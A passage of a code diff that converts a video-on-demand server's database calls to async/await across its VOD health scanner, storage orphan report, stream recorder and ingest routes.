1024 / 1024).toFixed(0);fs.unlinkSync(master);-- if (vod.master_file_path) { try { db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vod.id]); } catch { /* */ } } // not projected++ if (vod.master_file_path) { try { await db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vod.id]); } catch { /* */ } } // not projectedconsole.log(`[VOD-Health] Reclaimed orphaned master for vod ${vod.id} (${freedMb}MB)`);}} catch { /* */ }@@@ -81,7 +81,7 @@ async function _scanOne(vod, { deep }) {const r = await scanner.recoverFromMaster(vod);if (r.recovered) {// Re-scan the rebuilt file to confirm it's actually good now.-- const fresh = db.getVodById(vod.id) || vod;++ const fresh = await db.getVodById(vod.id) || vod;const rescan = await scanner.scanVod(fresh, { decode: deep, repairDuration: true, quarantineBad: false });recovered = !['corrupt', 'zero_byte', 'missing_file'].includes(rescan.status)&& !(rescan.issues || []).some(i => /decode_failed|probe_failed/.test(i));@@@ -97,7 +97,7 @@ async function _scanOne(vod, { deep }) {// 'needs_review' (e.g. very short) is flagged but NOT hidden — it may be watchable.const terminal = ['corrupt', 'zero_byte', 'missing_file'].includes(scan.status);try {-- db.updateVodHealth(vod.id, {++ await db.updateVodHealth(vod.id, {status: scan.status,issues: scan.issues || [],probeDuration: scan.probe ? scan.probe.duration : undefined,@@@ -113,7 +113,7 @@ async function _scanOne(vod, { deep }) {async function _scanPass(deep) {const limit = deep ? SCAN_BATCH_IDLE : SCAN_BATCH_LIVE;let vods = [];-- try { vods = db.getVodsNeedingHealthScan({ staleDays: SCAN_STALE_DAYS, limit }); } catch { return; }++ try { vods = await db.getVodsNeedingHealthScan({ staleDays: SCAN_STALE_DAYS, limit }); } catch { return; }for (const vod of vods) {try { await _scanOne(vod, { deep }); }catch (e) { console.warn(`[VOD-Health] scan error for vod ${vod.id}:`, e.message); }@@@ -121,9 +121,9 @@ async function _scanPass(deep) {}// Delete a VOD's files everywhere + its DB row. Mirrors the manual delete route.--function _hardDeleteVod(vod) {++async function _hardDeleteVod(vod) {try {-- if (require('../objects/model').isHeldRow(db.get('SELECT object_id FROM vods WHERE id = ?', [vod.id]))) {++ if (await require('../objects/model').isHeldRow(await db.get('SELECT object_id FROM vods WHERE id = ?', [vod.id]))) {console.log(`[VOD-Health] vod ${vod.id} is under a retention hold — not deleting`);return false;}@@@ -134,7 +134,7 @@ function _hardDeleteVod(vod) {try { if (fs.existsSync(p)) fs.unlinkSync(p); } catch { /* */ }}}-- db.run('DELETE FROM vods WHERE id = ?', [vod.id]); // its object is marked deleted by the row-delete trigger++ await db.run('DELETE FROM vods WHERE id = ?', [vod.id]); // its object is marked deleted by the row-delete triggerreturn true;} catch (e) {console.warn(`[VOD-Health] cleanup delete failed for vod ${vod.id}:`, e.message);@@@ -144,7 +144,7 @@ function _hardDeleteVod(vod) {async function _cleanupPass(deep) {let vods = [];-- try { vods = db.getQuarantinedVodsForCleanup({ graceDays: QUARANTINE_GRACE_DAYS, limit: CLEANUP_BATCH }); } catch { return; }++ try { vods = await db.getQuarantinedVodsForCleanup({ graceDays: QUARANTINE_GRACE_DAYS, limit: CLEANUP_BATCH }); } catch { return; }for (const vod of vods) {// One last recovery attempt before deleting — the master may have survived// even if the served file didn't. If it recovers, un-quarantine and keep it.@@@ -152,12 +152,12 @@ async function _cleanupPass(deep) {try {const r = await scanner.recoverFromMaster(vod);if (r.recovered) {-- const fresh = db.getVodById(vod.id) || vod;++ const fresh = await db.getVodById(vod.id) || vod;const rescan = await scanner.scanVod(fresh, { decode: true, repairDuration: true, quarantineBad: false });if (!['corrupt', 'zero_byte', 'missing_file'].includes(rescan.status)) {// Row and object together; a failed write keeps the recovered VOD (never falls through to the delete).try {-- require('../objects/model').withObject('vod', vod.id, () => db.run("UPDATE vods SET quarantined_at = NULL, health_status = 'ok' WHERE id = ?", [vod.id]));++ await require('../objects/model').withObject('vod', vod.id, async () => await db.run("UPDATE vods SET quarantined_at = NULL, health_status = 'ok' WHERE id = ?", [vod.id]));console.log(`[VOD-Health] Cleanup recovered vod ${vod.id} from master — un-quarantined`);} catch (e) { console.warn(`[VOD-Health] vod ${vod.id} recovered from master but not un-quarantined (next pass retries):`, e.message); }continue;@@@ -165,7 +165,7 @@ async function _cleanupPass(deep) {}} catch { /* fall through to delete */ }}-- if (_hardDeleteVod(vod)) {++ if (await _hardDeleteVod(vod)) {console.log(`[VOD-Health] Cleaned up unrecoverable vod ${vod.id} (quarantined ${vod.health_status}, ${vod.quarantined_at})`);}}@@@ -175,7 +175,7 @@ async function _cleanupPass(deep) {// gone or finished-and-healthy. PROTECTS masters that are still needed — any// recording, and any broken/quarantined VOD whose master is a recovery source —// plus a 30-min mtime grace so a just-finished finalize is never raced.--function _masterSweep() {++async function _masterSweep() {let dir, files;try {dir = path.resolve(config.vod.path);@@@ -185,7 +185,7 @@ function _masterSweep() {const protectedNames = new Set();try {-- const rows = db.all(`SELECT file_path, master_file_path FROM vods++ const rows = await db.all(`SELECT file_path, master_file_path FROM vodsWHERE COALESCE(is_recording,0)=1OR quarantined_at IS NOT NULLOR health_status IN ('corrupt','zero_byte','needs_review')`);@@@ -222,7 +222,7 @@ async function _tick() {try {const deep = !_anyRecording(); // full decode + recovery only while idleawait _scanPass(deep);-- if (deep) { await _cleanupPass(deep); _masterSweep(); }++ if (deep) { await _cleanupPass(deep); await _masterSweep(); }} catch (e) {console.warn('[VOD-Health] tick error:', e.message);} finally {@@@ -233,10 +233,10 @@ async function _tick() {// One boot-time sweep for 0:00 ghost VODs that older failure paths marked// ready+public (finalize crash fallbacks, killed processes). Rows with no// media at all are deleted; short-but-nonempty ones are quarantined.--function sweepJunkVods() {++async function sweepJunkVods() {try {const fs = require('fs');-- const rows = db.all(`SELECT id, file_path, file_size, duration_seconds FROM vods++ const rows = await db.all(`SELECT id, file_path, file_size, duration_seconds FROM vodsWHERE is_recording = 0 AND is_public = 1AND COALESCE(duration_seconds, 0) < 3AND COALESCE(file_size, 0) < 10000000@@@ -247,17 +247,17 @@ function sweepJunkVods() {for (const v of rows) {const hasFile = v.file_path && fs.existsSync(v.file_path) && (() => { try { return fs.statSync(v.file_path).size > 0; } catch { return false; } })();// A held row is never deleted (and its file never unlinked): it is left for its hold's owner.-- if (!hasFile && objects.isHeldRow(db.get('SELECT object_id FROM vods WHERE id = ?', [v.id]))) {++ if (!hasFile && await objects.isHeldRow(await db.get('SELECT object_id FROM vods WHERE id = ?', [v.id]))) {console.log(`[VOD-Health] Junk sweep: vod ${v.id} has no media but is under a retention hold — not deleting`);held++;continue;}if (!hasFile) {try { if (v.file_path && fs.existsSync(v.file_path)) fs.unlinkSync(v.file_path); } catch { /* */ }-- db.run('DELETE FROM vods WHERE id = ?', [v.id]);++ await db.run('DELETE FROM vods WHERE id = ?', [v.id]);deleted++;} else {-- objects.withObject('vod', v.id, () => db.run(`UPDATE vods SET health_status = 'needs_review', health_issues_json = ?, quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,++ await objects.withObject('vod', v.id, async () => await db.run(`UPDATE vods SET health_status = 'needs_review', health_issues_json = ?, quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,[JSON.stringify(['short_duration']), v.id]));quarantined++;}@@@ -266,10 +266,10 @@ function sweepJunkVods() {} catch (e) { console.warn('[VOD-Health] junk sweep error:', e.message); }}--function start() {++async function start() {if (_running) return;_running = true;-- sweepJunkVods();++ await sweepJunkVods();// First pass shortly after boot (idle window), then on the interval.const first = setTimeout(() => { _tick().catch(() => {}); }, 90 * 1000);if (first.unref) first.unref();@@@ -128,8 +128,8 @@ async function recoverFromMaster(vod) {try { const mi2 = await probeMediaInfo(vod.file_path); if (mi2.ok && mi2.duration > 0) dur = mi2.duration; } catch { /* */ }try {const stat = fs.statSync(vod.file_path);-- db.repairVodDuration(vod.id, Math.round(dur), stat.size);-- db.updateVodHealth(vod.id, { status: 'ok', issues: ['recovered_from_master'], probeDuration: dur });++ await db.repairVodDuration(vod.id, Math.round(dur), stat.size);++ await db.updateVodHealth(vod.id, { status: 'ok', issues: ['recovered_from_master'], probeDuration: dur });} catch { /* */ }return { recovered: true, duration: dur };}@@@ -223,13 +223,13 @@ async function scanVod(vod, options = {}) {}if (options.repairDuration && probeInfo.ok && probeInfo.duration > 0 && (vod.duration_seconds || 0) <= 0) {-- result.repair = db.repairVodDuration(vod.id, Math.round(probeInfo.duration), stat.size);++ result.repair = await db.repairVodDuration(vod.id, Math.round(probeInfo.duration), stat.size);result.issues.push('duration_repaired');result.status = 'duration_repaired';}if (options.quarantineBad && ['corrupt', 'missing_file', 'zero_byte'].includes(result.status)) {-- db.updateVodHealth(vod.id, {++ await db.updateVodHealth(vod.id, {status: result.status,issues: result.issues,probeDuration: probeInfo.duration,@@@ -45,18 +45,18 @@ function parseRecordingName(base) {return { app: m[1], id: Number(m[2]), recorded_at: new Date(Number(m[3])).toISOString() };}--function rowByBasename(base) {-- const vod = db.getVodByFileBasename(base);++async function rowByBasename(base) {++ const vod = await db.getVodByFileBasename(base);if (vod) return { kind: 'vod', row: vod };-- const byKey = db.all('SELECT * FROM vods WHERE storage_key LIKE ?', [`%${base}`]).find(r => path.basename(r.storage_key || '') === base);++ const byKey = (await db.all('SELECT * FROM vods WHERE storage_key ILIKE ?', [`%${base}`])).find(r => path.basename(r.storage_key || '') === base);if (byKey) return { kind: 'vod', row: byKey };-- const clip = db.getClipByFileBasename(base);++ const clip = await db.getClipByFileBasename(base);if (clip) return { kind: 'clip', row: clip };return null;}--function objectFor(kind, app, id) {-- try { return db.get('SELECT id, lifecycle_status, deleted_at FROM media_objects WHERE legacy_ref = ?', [`legacy:${app}:${kind}:${id}`]); } catch { return null; }++async function objectFor(kind, app, id) {++ try { return await db.get('SELECT id, lifecycle_status, deleted_at FROM media_objects WHERE legacy_ref = ?', [`legacy:${app}:${kind}:${id}`]); } catch { return null; }}async function head(provider, key) {@@@ -79,17 +79,17 @@ async function assess(obj, { provider = 'b2' } = {}) {const base = path.basename(obj.key);const parsed = parseRecordingName(base);const out = { key: obj.key, size: obj.size, last_modified: obj.last_modified, name: parsed, match: null, copies: {}, recommendation: null, reason: null };-- const found = rowByBasename(base);++ const found = await rowByBasename(base);if (!found) {if (parsed) {-- const byId = db.get('SELECT * FROM vods WHERE id = ? AND app_id = ?', [parsed.id, parsed.app]);++ const byId = await db.get('SELECT * FROM vods WHERE id = ? AND app_id = ?', [parsed.id, parsed.app]);if (byId) {out.match = { kind: 'vod', id: byId.id, app_id: byId.app_id, file: path.basename(byId.file_path || ''), storage_provider: byId.storage_provider || 'local' };out.recommendation = 'review_row_mismatch';out.reason = `vod ${byId.id} exists but points at ${out.match.file || 'no file'}`;return out;}-- const o = objectFor('vod', parsed.app, parsed.id);++ const o = await objectFor('vod', parsed.app, parsed.id);out.match = { kind: 'vod', id: parsed.id, app_id: parsed.app, row: 'gone', object: o ? { id: o.id, lifecycle_status: o.lifecycle_status, deleted_at: o.deleted_at } : null };out.recommendation = 'delete_row_gone';out.reason = `vod ${parsed.id} (${parsed.app}) no longer exists${o && o.deleted_at ? ` (deleted ${o.deleted_at})` : ''}; recorded ${parsed.recorded_at}`;@@@ -213,18 +213,18 @@ const LOCATION_ROWS = `SELECT l.provider, l.bucket, l.key, o.id AS object_id, o.const sidecarsOf = (p) => [p.replace(/\.webm$/, '.seekable.webm'), p.replace(/\.mp4$/, '.seekable.mp4'), p.replace(/\.webm$/, '.master.mkv')].filter(x => x !== p);/** What the database names on local disk: { wanted: Set(abs path), deleted: Map(abs path → location), segmentBases, sessions, jobs }. */--function localReferences() {++async function localReferences() {const vs = vodStorage();const model = require('../objects/model');const wanted = new Set();const add = (p) => { if (p) wanted.add(path.resolve(String(p))); };const deleted = new Map();-- for (const l of db.all(`${LOCATION_ROWS} WHERE l.provider = 'local'`)) {++ for (const l of await db.all(`${LOCATION_ROWS} WHERE l.provider = 'local'`)) {if (locationWanted(l)) add(l.key); else deleted.set(path.resolve(String(l.key)), l);}const thumb = (u) => { const name = model.thumbFileFromUrl(u); if (name) add(path.join(config.thumbnails.path, name)); };const segmentBases = new Set(); // browser-chunk segments <base>.seg-<n>-<ms>.webm belong to <base>.webm-- for (const v of db.all('SELECT id, file_path, master_file_path, thumbnail_url FROM vods')) {++ for (const v of await db.all('SELECT id, file_path, master_file_path, thumbnail_url FROM vods')) {if (v.file_path) {for (const f of [v.file_path, vs.localPathForVod(v)]) {add(f);@@@ -235,15 +235,15 @@ function localReferences() {add(v.master_file_path);thumb(v.thumbnail_url);}-- for (const c of db.all('SELECT file_path, thumbnail_url FROM clips')) {++ for (const c of await db.all('SELECT file_path, thumbnail_url FROM clips')) {if (c.file_path) { add(c.file_path); add(path.join(config.vod.clipsPath, path.basename(c.file_path))); }thumb(c.thumbnail_url);}-- for (const f of db.all('SELECT key, app_id FROM files')) add(path.join(config.files.path, f.app_id, f.key));-- for (const p of db.all('SELECT screenshot_path FROM pastes WHERE screenshot_path IS NOT NULL')) add(p.screenshot_path);-- for (const a of db.all('SELECT file_path FROM assets WHERE file_path IS NOT NULL')) add(a.file_path);-- const sessions = new Set(db.all("SELECT id FROM media_uploads WHERE status IN ('active', 'completing')").map(r => r.id));-- const jobs = new Set(db.all("SELECT id FROM media_jobs WHERE status IN ('queued', 'running')").map(r => r.id));++ for (const f of await db.all('SELECT key, app_id FROM files')) add(path.join(config.files.path, f.app_id, f.key));++ for (const p of await db.all('SELECT screenshot_path FROM pastes WHERE screenshot_path IS NOT NULL')) add(p.screenshot_path);++ for (const a of await db.all('SELECT file_path FROM assets WHERE file_path IS NOT NULL')) add(a.file_path);++ const sessions = new Set((await db.all("SELECT id FROM media_uploads WHERE status IN ('active', 'completing')")).map(r => r.id));++ const jobs = new Set((await db.all("SELECT id FROM media_jobs WHERE status IN ('queued', 'running')")).map(r => r.id));return { wanted, deleted, segmentBases, sessions, jobs };}@@@ -263,51 +263,51 @@ function classifyLocal(f, refs, now) {}/** A recorder-style name (vod-<app>-<id>-<ms>.<ext>): whose recording, and does its row still exist? */--function recordingNameHint(base) {++async function recordingNameHint(base) {const parsed = parseRecordingName(base);if (!parsed) return null;-- const row = db.get('SELECT id, file_path FROM vods WHERE id = ? AND app_id = ?', [parsed.id, parsed.app]);++ const row = await db.get('SELECT id, file_path FROM vods WHERE id = ? AND app_id = ?', [parsed.id, parsed.app]);if (!row) return `a recording of vod ${parsed.id} (${parsed.app}), whose row is gone`;return `named for vod ${parsed.id} (${parsed.app}), whose row points at ${path.basename(row.file_path || '') || 'no file'}`;}--function localHint(f, refs) {++async function localHint(f, refs) {const base = path.basename(f.abs);const del = refs.deleted.get(f.abs);if (del) return del.object_id ? `bytes of deleted object ${del.object_id}${del.legacy_ref ? ` (${del.legacy_ref})` : ''}` : 'named only by a location row whose object does not exist';if (f.root === 'objects') {const [top, sub] = f.path.split(path.sep);if (top === '.parts') {-- const s = db.get('SELECT status FROM media_uploads WHERE id = ?', [sub]);++ const s = await db.get('SELECT status FROM media_uploads WHERE id = ?', [sub]);return s ? `parts of multipart upload ${sub} (${s.status})` : `parts of multipart upload ${sub}, which has no session`;}if (top === '.jobs') {-- const j = db.get('SELECT status FROM media_jobs WHERE id = ?', [sub]);++ const j = await db.get('SELECT status FROM media_jobs WHERE id = ?', [sub]);return j ? `work files of job ${sub} (${j.status})` : `work files of job ${sub}, which does not exist`;}if (top === '.tmp') return 'an upload that never finished (temp file)';-- const o = db.get('SELECT id, lifecycle_status FROM media_objects WHERE id = ?', [base]);++ const o = await db.get('SELECT id, lifecycle_status FROM media_objects WHERE id = ?', [base]);return o ? `named for object ${o.id} (${o.lifecycle_status}), which records no local copy here` : `named for object ${base}, which does not exist`;}if (base.endsWith('.download')) return 'a restore download that never finished';if (/\.seekable\.(webm|mp4)$/.test(base)) return 'a DVR sidecar no VOD row names';-- if (/\.master\.mkv$/.test(base)) return recordingNameHint(base.replace(/\.master\.mkv$/, '.webm')) || 'a master archive no VOD row names';-- return recordingNameHint(base);++ if (/\.master\.mkv$/.test(base)) return await recordingNameHint(base.replace(/\.master\.mkv$/, '.webm')) || 'a master archive no VOD row names';++ return await recordingNameHint(base);}/** What the database names in one provider's bucket: { wanted: Set(key), deleted: Map(key → location), rows: Map(key → row) }. */--function remoteReferences(provider) {++async function remoteReferences(provider) {const vs = vodStorage();const bucket = vs.bucketFor(provider);const wanted = new Set();const deleted = new Map();-- for (const l of db.all(`${LOCATION_ROWS} WHERE l.provider = ?`, [provider])) {++ for (const l of await db.all(`${LOCATION_ROWS} WHERE l.provider = ?`, [provider])) {if (l.bucket && bucket && l.bucket !== bucket) continue; // a copy recorded in another bucketif (locationWanted(l)) wanted.add(l.key); else deleted.set(l.key, l);}const rows = new Map(); // every key a vods/clips row points at, with the row (stale R2 copies are recognised by it)for (const table of ['vods', 'clips']) {-- for (const r of db.all(`SELECT id, file_path, storage_provider, storage_key FROM ${table} WHERE COALESCE(file_path, '') != ''`)) {++ for (const r of await db.all(`SELECT id, file_path, storage_provider, storage_key FROM ${table} WHERE COALESCE(file_path, '') != ''`)) {const p = vs.providerOf(r);if (p === 'local' && !r.storage_key) continue;const key = vs.keyForVod(r);@@@ -318,15 +318,15 @@ function remoteReferences(provider) {return { wanted, deleted, rows };}--function remoteHint(provider, key, refs) {++async function remoteHint(provider, key, refs) {if (key.startsWith(PREFIX)) return `parked in ${PREFIX}: scripts/vods-orphans-report.js says what each one is`;const del = refs.deleted.get(key);if (del) return del.object_id ? `copy of deleted object ${del.object_id}${del.legacy_ref ? ` (${del.legacy_ref})` : ''}` : 'named only by a location row whose object does not exist';const row = refs.rows.get(key);if (row && provider === 'r2') return `an R2 copy of ${row.kind} ${row.id}, which is served from ${row.provider}`;const shot = /paste-screenshot-(\d+)\.[a-z0-9]+$/i.exec(key);-- if (shot) return db.get('SELECT 1 AS x FROM pastes WHERE id = ?', [Number(shot[1])]) ? `a legacy screenshot of paste ${shot[1]}` : `a legacy screenshot of paste ${shot[1]}, whose row is gone`;-- return recordingNameHint(path.basename(key));++ if (shot) return await db.get('SELECT 1 AS x FROM pastes WHERE id = ?', [Number(shot[1])]) ? `a legacy screenshot of paste ${shot[1]}` : `a legacy screenshot of paste ${shot[1]}, whose row is gone`;++ return await recordingNameHint(path.basename(key));}/**@@@ -339,8 +339,8 @@ function remoteHint(provider, key, refs) {async function buildStorageReport({ providers = null, list = null, listUploads = null, limit = 2000, now = Date.now() } = {}) {const vs = vodStorage();const provs = providers || ['b2', 'r2'].filter(p => vs.providerConfigured(p));-- const lister = list || ((p) => vs.listObjects(p, ''));-- const uploadLister = listUploads || ((p) => vs.listMultipartUploads(p));++ const lister = list || (async (p) => await vs.listObjects(p, ''));++ const uploadLister = listUploads || (async (p) => await vs.listMultipartUploads(p));const cap = Math.max(1, Number(limit) || 2000);const report = {kind: 'media.storage_orphans.report', version: 1, generated_at: new Date(now).toISOString(), read_only: true,@@@ -366,7 +366,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =report.scope.roots.push({ name: root.name, dir: root.dir, exists, files });}report.scope.walk_truncated = walked.truncated;-- const lrefs = localReferences();++ const lrefs = await localReferences();const orphanLocal = [];for (const f of walked.files) {const c = classifyLocal(f, lrefs, now);@@@ -380,7 +380,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =t.by_root[f.root].files++; t.by_root[f.root].bytes += f.size;}orphanLocal.sort((a, b) => b.size - a.size);-- for (const f of orphanLocal.slice(0, cap)) push('unreferenced_local', { root: f.root, path: f.path, size: f.size, modified: new Date(f.mtimeMs).toISOString(), hint: localHint(f, lrefs) });++ for (const f of orphanLocal.slice(0, cap)) push('unreferenced_local', { root: f.root, path: f.path, size: f.size, modified: new Date(f.mtimeMs).toISOString(), hint: await localHint(f, lrefs) });if (orphanLocal.length > cap) report.truncated.unreferenced_local = true;// ── Buckets ──@@@ -394,10 +394,10 @@ async function buildStorageReport({ providers = null, list = null, listUploads =entry.keys = keys.length;entry.bytes = keys.reduce((n, k) => n + (Number(k.size) || 0), 0);listed.set(p, new Map(keys.map(k => [k.key, k])));-- const rrefs = remoteReferences(p);++ const rrefs = await remoteReferences(p);const orphans = keys.filter(k => !rrefs.wanted.has(k.key)).sort((a, b) => (Number(b.size) || 0) - (Number(a.size) || 0));report.totals.unreferenced_remote[p] = { keys: orphans.length, bytes: orphans.reduce((n, k) => n + (Number(k.size) || 0), 0) };-- for (const k of orphans.slice(0, cap)) push('unreferenced_remote', { provider: p, key: k.key, size: Number(k.size) || 0, last_modified: k.last_modified || null, hint: remoteHint(p, k.key, rrefs) });++ for (const k of orphans.slice(0, cap)) push('unreferenced_remote', { provider: p, key: k.key, size: Number(k.size) || 0, last_modified: k.last_modified || null, hint: await remoteHint(p, k.key, rrefs) });if (orphans.length > cap) report.truncated.unreferenced_remote = true;let uploads = [];try { uploads = await uploadLister(p); } catch (err) { entry.multipart_error = err.message; }@@@ -406,7 +406,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =}// ── Copies the database records whose bytes are not there ──-- for (const l of db.all(`SELECT l.provider, l.bucket, l.key, l.state, l.verified_at, o.id AS object_id, o.app_id, o.kind, o.legacy_ref, o.lifecycle_status++ for (const l of await db.all(`SELECT l.provider, l.bucket, l.key, l.state, l.verified_at, o.id AS object_id, o.app_id, o.kind, o.legacy_ref, o.lifecycle_statusFROM media_locations l JOIN media_objects o ON o.id = l.object_id WHERE o.lifecycle_status != 'deleted' ORDER BY l.id`)) {let there;if (l.provider === 'local') {@@@ -425,8 +425,8 @@ async function buildStorageReport({ providers = null, list = null, listUploads =}// ── Media's own multipart sessions still open ──-- for (const u of db.all(`SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received,-- (SELECT COALESCE(SUM(p.size_bytes), 0) FROM media_upload_parts p WHERE p.upload_id = u.id) AS bytes_received,++ for (const u of await db.all(`SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received,++ (SELECT COALESCE(SUM(p.size_bytes), 0)::bigint FROM media_upload_parts p WHERE p.upload_id = u.id) AS bytes_received,(u.expires_at < datetime('now')) AS expiredFROM media_uploads u WHERE u.status IN ('active', 'completing') ORDER BY u.created_at`)) {report.totals.multipart_local.open++;@@@ -183,10 +183,10 @@ class StreamRecorder {return this.activeRecordings.size;}-- _cleanupFailedVod(vodId, filePath) {++ async _cleanupFailedVod(vodId, filePath) {if (!filePath || !fs.existsSync(filePath)) {try {-- db.run('DELETE FROM vods WHERE id = ?', [vodId]); // its object is marked deleted by the row-delete trigger++ await db.run('DELETE FROM vods WHERE id = ?', [vodId]); // its object is marked deleted by the row-delete triggerconsole.log(`[VOD] Deleted stale failed VOD ${vodId}`);} catch (err) {console.warn(`[VOD] Failed to delete stale VOD ${vodId}:`, err.message);@@@ -194,7 +194,7 @@ class StreamRecorder {return;}try {-- require('../objects/model').withObject('vod', vodId, () => db.run(++ await require('../objects/model').withObject('vod', vodId, async () => await db.run('UPDATE vods SET is_recording = 0, health_status = ?, health_issues_json = ?, quarantined_at = datetime(\'now\'), is_public = 0 WHERE id = ?',['corrupt', JSON.stringify(['failed_recording_start']), vodId]));@@@ -215,7 +215,7 @@ class StreamRecorder {return { ok: true };}-- _registerCommon(vod, proc, filePath, masterPath, extra = {}) {++ async _registerCommon(vod, proc, filePath, masterPath, extra = {}) {const recording = {vodId: vod.id,appId: vod.app_id,@@@ -241,9 +241,9 @@ class StreamRecorder {// The row and its object in one transaction. ffmpeg is already running, so the row must say// so even if the object cannot be written with it: withObjectOrRow then writes the row alone// and re-projects after it (the finalize that follows re-projects every outcome as well).-- require('../objects/model').withObjectOrRow('vod', vod.id, () => {-- db.run('UPDATE vods SET is_recording = 1, file_path = ? WHERE id = ?', [filePath, vod.id]);-- if (masterPath) db.run('UPDATE vods SET master_file_path = ? WHERE id = ?', [masterPath, vod.id]);++ await require('../objects/model').withObjectOrRow('vod', vod.id, async () => {++ await db.run('UPDATE vods SET is_recording = 1, file_path = ? WHERE id = ?', [filePath, vod.id]);++ if (masterPath) await db.run('UPDATE vods SET master_file_path = ? WHERE id = ?', [masterPath, vod.id]);});return recording;}@@@ -283,12 +283,12 @@ class StreamRecorder {const rec = this.activeRecordings.get(vodId);const filePath = rec?.filePath;this._teardown(vodId);-- require('./finalize').finalizeVod(vodId, { startTimeMs: rec?.startTime }).catch(() => {++ require('./finalize').finalizeVod(vodId, { startTimeMs: rec?.startTime }).catch(async () => {// Never bare-mark a failed recording as ready — that published// 0:00 ghosts. Quarantine it out of listings instead.// The live duration updates were wall-clock estimates: none of it is kept. Row and object together.try {-- require('../objects/model').withObject('vod', vodId, () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review',++ await require('../objects/model').withObject('vod', vodId, async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review',health_issues_json = ?, quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,[JSON.stringify(['finalize_failed']), vodId]));} catch (e) { console.warn(`[VOD] Failed to quarantine vod ${vodId} after a failed finalize:`, e.message); }@@@ -311,7 +311,7 @@ class StreamRecorder {/*** Run periodic live-seeking remux and update DB duration/file size.*/-- _periodicRemux(vodId) {++ async _periodicRemux(vodId) {const rec = this.activeRecordings.get(vodId);if (!rec || !rec.filePath || !fs.existsSync(rec.filePath)) return;@@@ -319,7 +319,7 @@ class StreamRecorder {try {const stat = fs.statSync(rec.filePath);// Progress estimate: the row and its object's size/duration together, or neither (next pass retries).-- require('../objects/model').withObject('vod', rec.vodId, () => db.run('UPDATE vods SET duration_seconds = ?, file_size = ? WHERE id = ?',++ await require('../objects/model').withObject('vod', rec.vodId, async () => await db.run('UPDATE vods SET duration_seconds = ?, file_size = ? WHERE id = ?',[elapsed, stat.size, rec.vodId]));} catch {}@@@ -71,10 +71,10 @@ function _isPrivate(row) {return (row.visibility || (row.is_public ? 'public' : 'private')) === 'private';}--function _getVodScoped(req, res) {++async function _getVodScoped(req, res) {const id = parseInt(req.params.id, 10);if (!Number.isFinite(id)) { res.status(404).json({ error: 'VOD not found' }); return null; }-- const vod = db.getVodById(id, req.appId);++ const vod = await db.getVodById(id, req.appId);if (!vod) { res.status(404).json({ error: 'VOD not found' }); return null; }return vod;}@@@ -85,8 +85,8 @@ function _getVodScoped(req, res) {* users (X-OV-User-Id) writes only that user's own VODs: someone else's private one answers exactly* as a missing one would, anything else 403.*/--function _getVodForWrite(req, res) {-- const vod = _getVodScoped(req, res);++async function _getVodForWrite(req, res) {++ const vod = await _getVodScoped(req, res);if (!vod || req.authType !== 'user') return vod;if (vod.user_id != null && String(vod.user_id) === String(req.userId)) return vod;if (_isPrivate(vod)) res.status(404).json({ error: 'VOD not found' });@@@ -95,10 +95,10 @@ function _getVodForWrite(req, res) {}// ── Create VOD ───────────────────────────────────────────────--router.post('/', tenantAuth(), (req, res) => {++router.post('/', tenantAuth(), async (req, res) => {try {const { title, stream_id, stream_key, managed_stream_id, user_id, meta, visibility, clips_only } = req.body || {};-- const result = db.createVod({++ const result = await db.createVod({app_id: req.appId,stream_id: stream_id != null ? parseInt(stream_id, 10) || null : null,stream_key: stream_key || null,@@@ -118,9 +118,9 @@ router.post('/', tenantAuth(), (req, res) => {});// ── RTMP ingest ──────────────────────────────────────────────--router.post('/:id/ingest/rtmp', tenantAuth(), (req, res) => {++router.post('/:id/ingest/rtmp', tenantAuth(), async (req, res) => {try {-- const vod = _getVodForWrite(req, res);++ const vod = await _getVodForWrite(req, res);if (!vod) return;const result = recorder.startRtmp(vod, req.body?.rtmp_url);if (!result.ok) return res.status(result.status || 409).json({ error: result.error });@@@ -132,9 +132,9 @@ router.post('/:id/ingest/rtmp', tenantAuth(), (req, res) => {});// ── RTP ingest ───────────────────────────────────────────────--router.post('/:id/ingest/rtp/start', tenantAuth(), (req, res) => {++router.post('/:id/ingest/rtp/start', tenantAuth(), async (req, res) => {try {-- const vod = _getVodForWrite(req, res);++ const vod = await _getVodForWrite(req, res);if (!vod) return;const { video, audio } = req.body || {};const result = recorder.startRtp(vod, video, audio);@@@ -146,9 +146,9 @@ router.post('/:id/ingest/rtp/start', tenantAuth(), (req, res) => {}});--router.post('/:id/ingest/rtp/stop', tenantAuth(), (req, res) => {++router.post('/:id/ingest/rtp/stop', tenantAuth(), async (req, res) => {try {-- const vod = _getVodForWrite(req, res);++ const vod = await _getVodForWrite(req, res);if (!vod) return;const stopped = recorder.stopRecording(vod.id);if (!stopped && !vod.is_recording) return res.status(409).json({ error: 'VOD is not recording' });@@@ -163,7 +163,7 @@ router.post('/:id/ingest/rtp/stop', tenantAuth(), (req, res) => {// ── Chunked upload (browser MediaRecorder; user JWT ok) ──────router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('chunk'), async (req, res) => {try {-- const vod = _getVodForWrite(req, res);++ const vod = await _getVodForWrite(req, res);if (!vod) { if (req.file) tools.cleanupTempFile(req.file.path); return; }if (!req.file) return res.status(400).json({ error: 'No chunk data' });const segmentId = Math.max(1, parseInt(req.body?.segmentId || req.query.segmentId || '1', 10) || 1);@@@ -189,7 +189,7 @@ router.post('/:id/chunks', tenantAuth({ allowUser: true }), chunkUpload.single('fs.copyFileSync(req.file.path, filePath);tools.cleanupTempFile(req.file.path);-- objects.withObject('vod', vod.id, () => db.run('UPDATE vods SET file_path = ?, file_size = ?, is_recording = 1 WHERE id = ?',++ await objects.withObject('vod', vod.id, async () => await db.run('UPDATE vods SET file_path = ?, file_size = ?, is_recording = 1 WHERE id = ?',[filePath, fs.statSync(filePath).size, vod.id]));rec = { filePath, startTime: Date.now(), chunkCount: 1, currentSegmentId: 